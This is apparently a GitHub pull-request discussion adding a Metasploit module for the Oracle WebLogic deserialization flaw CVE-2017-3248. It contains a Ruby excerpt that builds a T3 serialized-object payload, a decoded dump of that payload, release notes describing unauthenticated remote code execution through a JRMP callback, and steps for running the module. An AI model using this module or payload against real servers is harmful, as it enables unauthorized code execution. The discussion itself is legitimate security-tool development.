Add Weblogic_serialization_unicastref CVE 2017-3248 #11136
Conversation
…d other small fixes
|
@acamro: Thanks for the contribution! I've been testing your module with a lot of success, but I had a few quick questions.
Thanks again for your contribution! |
|
Hi again,
This object contains another object of type The second object is the following: This object contains another object of type The third object is the following: This object contains another object of type The fourth object is the following: This object contains another object of type The fifth object is the following: This object contains another object of type All the above is merely informative, because I suppose that it has nothing to do with the inclusion of yoserializer in the API.
Could you tell me where I need to change??. Thank you in advance, I will be aware. |
|
@acamro: Thanks for the detailed comment. I know that took some time, and has been very helpful. The latest commit covers this third PR, as I've tried to reverse engineer and document the JSOs in use. To get this landed, it's definitely not necessary for the new Thank again for the awesome contributions! |
| sleep(1) | ||
| sock.get_once | ||
| end | ||
|
|
||
| def build_t3_request_object | ||
| # T3 request serialized data | ||
| # retrieved by watching network traffic | ||
| data = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a' | ||
| # This is a proprietary, undocumented protocol | ||
| # TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT? |
There was a problem hiding this comment.
A serialized Java object:
2.3.0 :047 > [data].pack('H*')
=> "\x00\x00\x05\xC3\x01e\x01\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00j\x00\x00\xEA`\x00\x00\x00\x19\x00\x93{HJV\xFAJwvf\xF5\x81\xDA\xA4\xF5\xB9\x0E*\xEB\xFC`t\x99\xB4\x02ysr\x00xr\x01xr\x02xp\x00\x00\x00\n\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x06\x00pppppp\x00\x00\x00\n\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x06\x00p\x06\xFE\x01\x00\x00\xAC\xED\x00\x05sr\x00\x1Dweblogic.rjvm.ClassTableEntry/Re\x81W\xF4\xF9\xED\f\x00\x00xpr\x00$weblogic.common.internal.PackageInfo\xE6\xF7#\xE7\xB8\xAE\x1E\xC9\x02\x00\bI\x00\x05majorI\x00\x05minorI\x00\frollingPatchI\x00\vservicePackZ\x00\x0EtemporaryPatchL\x00\timplTitlet\x00\x12Ljava/lang/String;L\x00\nimplVendorq\x00~\x00\x03L\x00\vimplVersionq\x00~\x00\x03xpw\x02\x00\x00x\xFE\x01\x00\x00\xAC\xED\x00\x05sr\x00\x1Dweblogic.rjvm.ClassTableEntry/Re\x81W\xF4\xF9\xED\f\x00\x00xpr\x00$weblogic.common.internal.VersionInfo\x97\"EQdRF>\x02\x00\x03[\x00\bpackagest\x00'[Lweblogic/common/internal/PackageInfo;L\x00\x0EreleaseVersiont\x00\x12Ljava/lang/String;[\x00\x12versionInfoAsBytest\x00\x02[Bxr\x00$weblogic.common.internal.PackageInfo\xE6\xF7#\xE7\xB8\xAE\x1E\xC9\x02\x00\bI\x00\x05majorI\x00\x05minorI\x00\frollingPatchI\x00\vservicePackZ\x00\x0EtemporaryPatchL\x00\timplTitleq\x00~\x00\x04L\x00\nimplVendorq\x00~\x00\x04L\x00\vimplVersionq\x00~\x00\x04xpw\x02\x00\x00x\xFE\x01\x00\x00\xAC\xED\x00\x05sr\x00\x1Dweblogic.rjvm.ClassTableEntry/Re\x81W\xF4\xF9\xED\f\x00\x00xpr\x00!weblogic.common.internal.PeerInfoXTt\xF3\x9B\xC9\b\xF1\x02\x00\x06I\x00\x05majorI\x00\x05minorI\x00\frollingPatchI\x00\vservicePackZ\x00\x0EtemporaryPatch[\x00\bpackagest\x00'[Lweblogic/common/internal/PackageInfo;xr\x00$weblogic.common.internal.VersionInfo\x97\"EQdRF>\x02\x00\x03[\x00\bpackagesq\x00~\x00\x03L\x00\x0EreleaseVersiont\x00\x12Ljava/lang/String;[\x00\x12versionInfoAsBytest\x00\x02[Bxr\x00$weblogic.common.internal.PackageInfo\xE6\xF7#\xE7\xB8\xAE\x1E\xC9\x02\x00\bI\x00\x05majorI\x00\x05minorI\x00\frollingPatchI\x00\vservicePackZ\x00\x0EtemporaryPatchL\x00\timplTitleq\x00~\x00\x05L\x00\nimplVendorq\x00~\x00\x05L\x00\vimplVersionq\x00~\x00\x05xpw\x02\x00\x00x\xFE\x00\xFF\xFE\x01\x00\x00\xAC\xED\x00\x05sr\x00\x13weblogic.rjvm.JVMID\xDCI\xC2>\xDE\x12\x1E*\f\x00\x00xpwP!\x00\x00\x00\x00\x00\x00\x00\x00\x00\r192.168.1.227\x00\x12WIN-AGDMVQUB1T6.eh\x834\x8C\xD6\x00\x00\x00\a\x00\x00"
2.3.0 :048 >
It could be formatted more nicely for readability. Ie, separated by \x00 and length calculated.
From a quick read over it, most of it looks important, but these stand out:
192.168.1.227WIN-AGDMVQUB1T6.eh
For your reading pleasure:
2.3.0 :050 > puts [data].pack('H*').split("\x00").join ("\n")
��e���������
j
�`
�
�{HJV�Jwvf��ڤ*��`t���ysr
xr�xr�xp
�
�
pppppp
�
�
p���
�
sr
�weblogic.rjvm.ClassTableEntry/Re�W���
xpr
$weblogic.common.internal.PackageInfo��#縮���
I
majorI
minorI
rollingPatchI
servicePackZ
temporaryPatchL
implTitlet
�Ljava/lang/String;L
implVendorq
~
�L
implVersionq
~
�xpw�
x��
�
sr
�weblogic.rjvm.ClassTableEntry/Re�W���
xpr
$weblogic.common.internal.VersionInfo�"EQdRF>�
�[
packagest
'[Lweblogic/common/internal/PackageInfo;L
releaseVersiont
�Ljava/lang/String;[
�versionInfoAsBytest
�[Bxr
$weblogic.common.internal.PackageInfo��#縮���
I
majorI
minorI
rollingPatchI
servicePackZ
temporaryPatchL
implTitleq
~
�L
implVendorq
~
�L
implVersionq
~
�xpw�
x��
�
sr
�weblogic.rjvm.ClassTableEntry/Re�W���
xpr
!weblogic.common.internal.PeerInfoXTt����
�I
majorI
minorI
rollingPatchI
servicePackZ
temporaryPatch[
packagest
'[Lweblogic/common/internal/PackageInfo;xr
$weblogic.common.internal.VersionInfo�"EQdRF>�
�[
packagesq
~
�L
releaseVersiont
�Ljava/lang/String;[
�versionInfoAsBytest
�[Bxr
$weblogic.common.internal.PackageInfo��#縮���
I
majorI
minorI
rollingPatchI
servicePackZ
temporaryPatchL
implTitleq
~
L
implVendorq
~
L
implVersionq
~
xpw�
x�
���
�
sr
�weblogic.rjvm.JVMID�I�>���*
xpwP!
192.168.1.227
�WIN-AGDMVQUB1T6.eh�4�
=> nil
There was a problem hiding this comment.
Right -- I've been using SerializationDumper to inspect these JSOs, but it's not clear to me what this does yet. I've got some learning to do about JRMP and the ysoserial implementation of JRMPClient and JRMPListener in order to better understand the way they're using exceptions to trigger the target to callback and retrieve additional JSOs, bypassing blacklists.
|
Note that a successful exploit leaves this output on the Admin Server console: |
|
I've been doing some reversing over the protocol, however, and even though I did a git pull, I have not managed to operate your metasploit/ysoserializer module. this is the error output (running the exploit command):
Could you explain me a little about how to use it? This is a breakthrough: |
When you You'll need to pull in the https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/java_deserialization.rb |
…weblogic_serialize_unicastref
|
Sorry, my branch was outdated from master, I just did a |
That's one way to do it, but you run the risk of messing up the branch if you mess up. As you're only testing one module, it's trivial to copy/paste it into the master branch on your dev box. No need to update this branch. |
|
Hey @acamro, Metasploit published research today on practical JSO exploitation. This PR is mentioned, and you're acknowledged in the paper. You can read it here: https://www.rapid7.com/research/report/exploiting-jsos/. Thanks for your work on this! |
Woah, that's awesome! Where'd you find the protocol and constants described? Could we add that source to the references section? |
Release NotesThe Oracle Weblogic Server Deserialization RCE module exploits a vulnerability in Oracle Weblogic Server v10.3.6.0 and v12.1.3.0. It provides an attacker with highly-reliable, unauthenticated remote code execution via a java deserialization vulnerability. For the attack to succeed, the target must be able to reach the attacker via JRMP on an arbitary, attacker-chosen TCP port. |
tdoan-r7
added
rn-exploit
rn-modules
Hi everyone,
Please, add this exploit module for CVE-2017-3248, Oracle Weblogic Deserialization Vulnerability in the core components due to unsafe deserialization of Java objects by the RMI registry and produce a JRMP connection from the target,
It was tested on Windows 7 x64 with Oracle Weblogic Server v10.3.6.0 and v12.1.3.0
TODO
Test on Linux
Test on Solaris
Improve the documentation
DEMO
Verification
msfconsoleuse exploit/multi/misc/weblogic_deserialize_unicastrefsessions -i 1